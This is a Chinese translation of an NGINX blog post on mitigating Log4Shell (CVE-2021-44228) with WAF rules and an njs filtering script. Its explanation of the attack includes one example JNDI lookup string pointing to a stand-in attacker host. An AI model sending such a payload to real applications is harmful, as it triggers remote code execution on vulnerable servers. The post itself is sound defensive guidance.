博客 | NGINX

使用 NGINX 缓解 log4j 漏洞 (CVE-2021-44228)

NGINX-F5-horiz-black-type-RGB 的一部分
Timo Stark 缩略图
蒂莫·史塔克
2021 年 12 月 14 日发布

2021 年 12 月 10 日星期五是全球许多 IT 人士都会铭记的日子。 当时,在非常流行的 Java应用日志库log4j中发现了一个高度严重的零日漏洞。 这一漏洞很快被命名为“Log4Shell”,各种规模的公司纷纷纷纷实施缓解策略。 随后是一场修补马拉松,在撰写本文时,修补马拉松仍在进行中。

NGINX 和 F5 已经分析了该威胁,并在本文中提供了各种缓解选项来保护您的应用。

什么是 Log4Shell?

log4j 库的 2.15 及更早版本容易受到CVE-2021-44228中描述的远程代码执行 (RCE) 漏洞的攻击。 (log4j 2.16 版本修补了此漏洞。) Log4Shell 是针对此漏洞的利用的名称。 但是这个漏洞是什么?为什么它如此严重? 正如 CVE 中所述,Apache log4j Java 库没有正确验证输入。

log4j 库和 Java 运行时的 Java 命名和目录接口 (JNDI) 功能可用于执行远程查找以从外部来源检索数据(例如来自 LDAP 的用户名或来自 DNS 的 IP 地址),以包含在日志条目中。 不幸的是,远程攻击者可以劫持 JNDI 来执行他们编写的 Java 代码。 下图说明了这次攻击。

来源: 瑞士政府计算机应急响应小组

为了利用易受攻击的目标,攻击者必须诱骗application代码写入包含如下字符串的日志条目${jndi:ldap://evil.xa/x}。 有趣的问题是:将字符串放在哪里才能使其最终出现在日志消息中? 对于许多应用来说,日志记录是必不可少的,并且会记录有关每个传入请求的大量不同信息,包括 HTTP 标头(如User-AgentX-Forwarded-For )、URI 和请求正文。 攻击媒介有很多,只要使用 log4j 记录字符串,application就可能被利用。

NGINX 是否受到此漏洞的影响?

不。 NGINX 本身不易受到此漏洞的影响,因为它是用 C 编写的,不使用 Java 或任何基于 Java 的库。 有关所有 F5 和 NGINX 产品的CVE-2021-44228的官方响应,请参阅 AskF5 知识库中的文章K19026212

NGINX 如何帮助缓解漏洞?

如上所述,攻击者必须将漏洞字符串发送到 HTTP 请求中的某个目标应用。 NGINX 提供了多种工具用于扫描传入请求以查找受损迹象(IOC)并阻止它们。

阻止恶意请求的最有效方法是使用 Web应用防火墙 (WAF)。 它通过将请求数据与一组预编译规则进行比较来扫描每个传入请求,以查找CVE-2021-44228的迹象。 然而,在零日漏洞之后更新 WAF 规则就像一场军备竞赛。 一旦 WAF 规则可用于特定漏洞,攻击者就会寻找可以绕过 WAF 的技术和模式。 确保您的 WAF 规则保持最新。

NGINX ModSecurity WAF

ModSecurity是一个开源 WAF,同时也是 NGINX 的商业产品,即用于 NGINX Plus 的NGINX ModSecurity WAF模块。 OWASP ModSecurity 核心规则集(CRS) 包含一个可以缓解 Log4Shell 的现有规则 (932130)。 有关此解决方案和更高级保护的进一步讨论,请参阅CRS 博客

[编辑– NGINX ModSecurity WAF 于2022 年 4 月 1 日正式停止销售,并将于2024 年 3 月 31 日停止使用。 有关更多详细信息,请参阅我们博客上的“F5 NGINX ModSecurity WAF 正在过渡到终止使用<.htmla>”。]

NGINX 应用保护 WAF

NGINX App Protect WAF是一种现代应用程序安全解决方案。 基于对威胁和已知 WAF 绕过的持续调查,我们使用新规则更新了服务器端代码注入签名集,以有效检测 Log4Shell 攻击。 有关更多详细信息,请参阅AskF5 知识库

NGINX JavaScript 模块

NGINX 和 NGINX Plus 被广泛部署在许多基于 Java 的应用前端作为反向代理。 对于无法访问 WAF 的用户和客户,我们创建了一个使用NGINX JavaScript 模块(njs) 的脚本。 该脚本扫描传入请求中的 HTTP 标头、URI 和请求正文,利用已知的 IOC 字符串以及正则表达式来匹配输入数据并阻止恶意请求。

njs 脚本可在GitHub上获取。 有关安装 njs 模块的说明,请参阅NGINX Plus 管理指南

概括

Log4Shell 最有效的解决方案是使用log4j 2.16或更高版本修补应用程序代码,从而禁用 JDNI。如果无法立即实现此操作,WAF 可以有效缓解威胁,直到您有时间应用补丁。 如果您还没有 WAF,您可以使用我们的 njs 脚本来实施针对威胁的特定防护。 使用下面的资源了解更多信息并为您的应用选择最合适的保护。

资源


“这篇博文可能引用了不再可用和/或不再支持的产品。 有关 F5 NGINX 产品和解决方案的最新信息,请探索我们的NGINX 产品系列。 NGINX 现在是 F5 的一部分。 所有之前的 NGINX.com 链接都将重定向至 F5.com 上的类似 NGINX 内容。”